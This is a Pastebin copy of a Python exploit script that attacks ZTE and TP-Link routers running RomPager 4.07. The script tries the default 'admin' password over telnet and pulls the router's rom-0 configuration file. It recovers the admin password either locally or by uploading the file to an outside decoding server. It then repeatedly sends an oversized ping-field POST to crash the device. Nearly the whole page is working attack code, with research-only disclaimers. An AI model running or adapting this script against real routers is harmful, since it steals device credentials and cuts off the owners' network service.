Advertisement
CyberSecurityNEPAL

dos.py exploit router

Aug 13th, 2016
615
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 11.26 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3.  
  4. # Exploit Title: ZTE and TP-Link RomPager DoS Exploit
  5. # Date: 10-05-2014
  6. # Server Version: RomPager/4.07 UPnP/1.0
  7. # Tested Routers:   ZTE ZXV10 W300
  8. #                   TP-Link TD-W8901G
  9. #                   TP-Link TD-W8101G
  10. #                   TP-Link TD-8840G
  11. # Firmware: FwVer:3.11.2.175_TC3086 HwVer:T14.F7_5.0
  12. # Tested on: Kali Linux x86
  13. #
  14. # Notes:    Please note this exploit may contain errors, and
  15. #           is provided "as it is". There is no guarantee
  16. #           that it will work on your target router(s), as
  17. #           the code may have to be adapted.
  18. #           This is to avoid script kiddie abuse as well.
  19. #
  20. # Disclaimer: This proof of concept is strictly for research, educational or ethical (legal) purposes only.
  21. #             Author takes no responsibility for any kind of damage you cause.
  22. #
  23. # Exploit Author: Osanda Malith Jayathissa (@OsandaMalith)
  24. # Dedicate to Nick Knight and Hood3dRob1n
  25. #  
  26. # ./dos.py -i 192.168.1.1
  27.  
  28. import os
  29. import re
  30. import sys
  31. import time
  32. import urllib
  33. import base64
  34. import httplib
  35. import urllib2
  36. import requests
  37. import optparse
  38. import telnetlib
  39. import subprocess
  40. import collections
  41. import unicodedata
  42.  
  43. class BitReader:
  44.      
  45.     def __init__(self, bytes):
  46.         self._bits = collections.deque()
  47.          
  48.         for byte in bytes:
  49.             byte = ord(byte)
  50.             for n in xrange(8):
  51.                 self._bits.append(bool((byte >> (7-n)) & 1))
  52.              
  53.     def getBit(self):
  54.         return self._bits.popleft()
  55.          
  56.     def getBits(self, num):
  57.         res = 0
  58.         for i in xrange(num):
  59.             res += self.getBit() << num-1-i
  60.         return res
  61.          
  62.     def getByte(self):
  63.         return self.getBits(8)
  64.          
  65.     def __len__(self):
  66.         return len(self._bits)
  67.          
  68. class RingList:
  69.      
  70.     def __init__(self, length):
  71.         self.__data__ = collections.deque()
  72.         self.__full__ = False
  73.         self.__max__ = length
  74.  
  75.     def append(self, x):
  76.         if self.__full__:
  77.             self.__data__.popleft()
  78.         self.__data__.append(x)
  79.         if self.size() == self.__max__:
  80.             self.__full__ = True
  81.  
  82.     def get(self):
  83.         return self.__data__
  84.  
  85.     def size(self):
  86.         return len(self.__data__)
  87.  
  88.     def maxsize(self):
  89.         return self.__max__
  90.          
  91.     def __getitem__(self, n):
  92.         if n >= self.size():
  93.             return None
  94.         return self.__data__[n]
  95.  
  96. def filter_non_printable(str):
  97.   return ''.join([c for c in str if ord(c) > 31 or ord(c) == 9])
  98.  
  99.  
  100. def banner():
  101.     return '''
  102.  
  103. \t\t    _/_/_/                _/_/_/  
  104. \t\t   _/    _/    _/_/    _/          
  105. \t\t  _/    _/  _/    _/    _/_/      
  106. \t\t _/    _/  _/    _/        _/      
  107. \t\t_/_/_/      _/_/    _/_/_/        
  108.                            
  109. '''                        
  110. def dos(host, password):
  111.     while (1):
  112.         url = 'http://' +host+ '/Forms/tools_test_1'
  113.         parameters = {
  114.         'Test_PVC'          :   'PVC0',
  115.         'PingIPAddr'        :   '\101'*2000,
  116.         'pingflag'          :   '1',
  117.         'trace_open_flag'   :   '0',
  118.         'InfoDisplay'       :   '+-+Info+-%0D%0A'
  119.         }
  120.          
  121.         params = urllib.urlencode(parameters)
  122.          
  123.         req = urllib2.Request(url, params)
  124.         base64string = base64.encodestring('%s:%s' % ('admin', password)).replace('\n', '')
  125.         req.add_header("Authorization", "Basic %s" %base64string)
  126.         req.add_header("Content-type", "application/x-www-form-urlencoded")
  127.         req.add_header("Referer", "http://" +host+ "/maintenance/tools_test.htm")
  128.         try:
  129.                 print '[~] Sending Payload'
  130.                 response = urllib2.urlopen(req, timeout=1)
  131.                 sys.exit(0)
  132.              
  133.         except:
  134.             flag = checkHost(host)
  135.             if flag == 0:
  136.                 print '[+] The host is still up and running'
  137.             else:
  138.                 print '[~] Success! The host is down'
  139.                 sys.exit(0)
  140.                 break
  141.  
  142. def checkHost(host):
  143.     if sys.platform == 'win32':
  144.         c = "ping -n 2 " + host
  145.     else:
  146.         c = "ping -c 2 " + host
  147.  
  148.     try:
  149.         x = subprocess.check_call(c, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
  150.         time.sleep(1)
  151.         return x
  152.          
  153.     except:
  154.         pass
  155.  
  156. def checkServer(host):
  157.     connexion = httplib.HTTPConnection(host)
  158.     connexion.request("GET", "/status.html")
  159.     response = connexion.getresponse()
  160.     server = response.getheader("server")
  161.     connexion.close()
  162.     time.sleep(2)
  163.     if server == 'RomPager/4.07 UPnP/1.0':
  164.         return 0
  165.     else:
  166.         return 1
  167.  
  168. def checkPassword(host):
  169.     print '[+] Checking for default password'
  170.     defaultpass = 'admin'
  171.     tn = telnetlib.Telnet(host, 23, 4)
  172.     tn.read_until("Password: ")
  173.     tn.write(defaultpass + '\n')
  174.     time.sleep(2)
  175.     banner = tn.read_eager()
  176.     banner = regex(len(defaultpass)*r'.'+'\w+' , banner)
  177.     tn.write("exit\n")
  178.     tn.close()
  179.     time.sleep(4)
  180.     if banner == 'Copyright':
  181.         print '[+] Default password is being used'
  182.         dos(host, defaultpass)
  183.     else:
  184.         print '[!] Default Password is not being used'
  185.     while True:
  186.         msg = str(raw_input('[?] Decrypt the rom-0 file locally? ')).lower()
  187.         try:
  188.             if msg[0] == 'y':
  189.                 password = decodePasswordLocal(host)
  190.                 print '[*] Router password is: ' +password
  191.                 dos(host, password)
  192.                 break                  
  193.             if msg[0] == 'n':
  194.                 password = decodePasswordRemote(host)
  195.                 print '[*] Router password is: ' +password
  196.                 dos(host, password)
  197.                 break
  198.             else:
  199.                 print '[!] Enter a valid choice'
  200.         except Exception, e:
  201.                 print e
  202.                 continue
  203.          
  204.  
  205. def decodePasswordRemote(host):
  206.     fname = 'rom-0'
  207.     if os.path.isfile(fname) == True:
  208.         os.remove(fname)
  209.     urllib.urlretrieve ("http://"+host+"/rom-0", fname)
  210.     # If this URL goes down you might have to find one and change this function.
  211.     # You can also use the local decoder. It might have few errors in getting output.
  212.     url = 'http://198.61.167.113/zynos/decoded.php'                # Target URL
  213.     files = {'uploadedfile': open('rom-0', 'rb') }                 # The rom-0 file we wanna upload
  214.     data = {'MAX_FILE_SIZE': 1000000, 'submit': 'Upload rom-0'}    # Additional Parameters we need to include
  215.     headers = { 'User-agent' : 'Python Demo Agent v1' }            # Any additional Headers you want to send or include
  216.  
  217.     res = requests.post(url, files=files, data=data, headers=headers, allow_redirects=True, timeout=30.0, verify=False )
  218.     res1 =res.content
  219.     p = re.search('rows=10>(.*)', res1)
  220.     if p:
  221.         passwd = found = p.group(1)
  222.     else:
  223.         password = 'NotFound'
  224.     return passwd
  225.  
  226. def decodePasswordLocal(host):
  227.     # Sometimes this might output a wrong password while finding the exact string.
  228.     # print the result as mentioned below and manually find out
  229.     fname = 'rom-0'
  230.     if os.path.isfile(fname) == True:
  231.         os.remove(fname)
  232.     urllib.urlretrieve ("http://"+host+"/rom-0", fname)
  233.     fpos=8568
  234.     fend=8788
  235.     fhandle=file('rom-0')
  236.     fhandle.seek(fpos)
  237.     chunk="*"
  238.     amount=221
  239.     while fpos < fend:
  240.         if fend-fpos < amount:
  241.             amount = amount
  242.             data = fhandle.read(amount)
  243.             fpos += len(data)
  244.              
  245.     reader = BitReader(data)
  246.     result = ''
  247.        
  248.     window = RingList(2048)
  249.          
  250.     while True:
  251.         bit = reader.getBit()
  252.         if not bit:
  253.             char = reader.getByte()
  254.             result += chr(char)
  255.             window.append(char)
  256.         else:
  257.             bit = reader.getBit()
  258.             if bit:
  259.                 offset = reader.getBits(7)
  260.                 if offset == 0:
  261.                     break
  262.             else:
  263.                 offset = reader.getBits(11)
  264.              
  265.             lenField = reader.getBits(2)
  266.             if lenField < 3:
  267.                 lenght = lenField + 2
  268.             else:
  269.                 lenField <<= 2
  270.                 lenField += reader.getBits(2)
  271.                 if lenField < 15:
  272.                     lenght = (lenField & 0x0f) + 5
  273.                 else:
  274.                     lenCounter = 0
  275.                     lenField = reader.getBits(4)
  276.                     while lenField == 15:
  277.                         lenField = reader.getBits(4)
  278.                         lenCounter += 1
  279.                     lenght = 15*lenCounter + 8 + lenField
  280.              
  281.             for i in xrange(lenght):
  282.                 char = window[-offset]
  283.                 result += chr(char)
  284.                 window.append(char)
  285.  
  286.     result = filter_non_printable(result).decode('unicode_escape').encode('ascii','ignore')
  287.     # In case the password you see is wrong while filtering, manually print it from here and findout.
  288.     #print result
  289.     if 'TP-LINK' in result:
  290.         result = ''.join(result.split()).split('TP-LINK', 1)[0] + 'TP-LINK';
  291.         result = result.replace("TP-LINK", "")
  292.         result = result[1:]
  293.  
  294.     if 'ZTE' in result:
  295.         result = ''.join(result.split()).split('ZTE', 1)[0] + 'ZTE';
  296.         result = result.replace("ZTE", "")
  297.         result = result[1:]
  298.  
  299.     if 'tc160' in result:
  300.         result = ''.join(result.split()).split('tc160', 1)[0] + 'tc160';
  301.         result = result.replace("tc160", "")
  302.         result = result[1:]
  303.     return result
  304.      
  305. def regex(path, text):
  306.     match = re.search(path, text)
  307.     if match:
  308.         return match.group()
  309.     else:
  310.         return None
  311.  
  312. def main():
  313.     if sys.platform == 'win32':
  314.         os.system('cls')
  315.     else:
  316.         os.system('clear')
  317.     try:
  318.         print banner()
  319.         print '''
  320. |=--------=[ ZTE and TP-Link RomPager Denial of Service Exploit ]=-------=|\n
  321. [*] Author: Osanda Malith Jayathissa
  322. [*] Follow @OsandaMalith
  323. [!] Disclaimer: This proof of concept is strictly for research, educational or ethical (legal) purposes only.
  324. [!] Author takes no responsibility for any kind of damage you cause.
  325.  
  326.    '''
  327.         parser = optparse.OptionParser("usage: %prog -i <IP Address> ")
  328.         parser.add_option('-i', dest='host',
  329.                             type='string',  
  330.                             help='Specify the IP to attack')
  331.         (options, args) = parser.parse_args()
  332.          
  333.         if options.host is None:
  334.             parser.print_help()
  335.             exit(-1)
  336.  
  337.         host = options.host
  338.         x = checkHost(host)
  339.  
  340.         if x == 0:
  341.             print '[+] The host is up and running'
  342.             server = checkServer(host)
  343.             if server == 0:
  344.                 checkPassword(host)
  345.             else:
  346.                 print ('[!] Sorry the router is not running RomPager')
  347.         else:
  348.             print '[!] The host is not up and running'
  349.             sys.exit(0)
  350.  
  351.     except KeyboardInterrupt:
  352.         print '[!] Ctrl + C detected\n[!] Exiting'
  353.         sys.exit(0)
  354.     except EOFError:
  355.         print '[!] Ctrl + D detected\n[!] Exiting'
  356.         sys.exit(0)
  357.  
  358. if __name__ == "__main__":
  359.     main()  
  360. #EOF
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement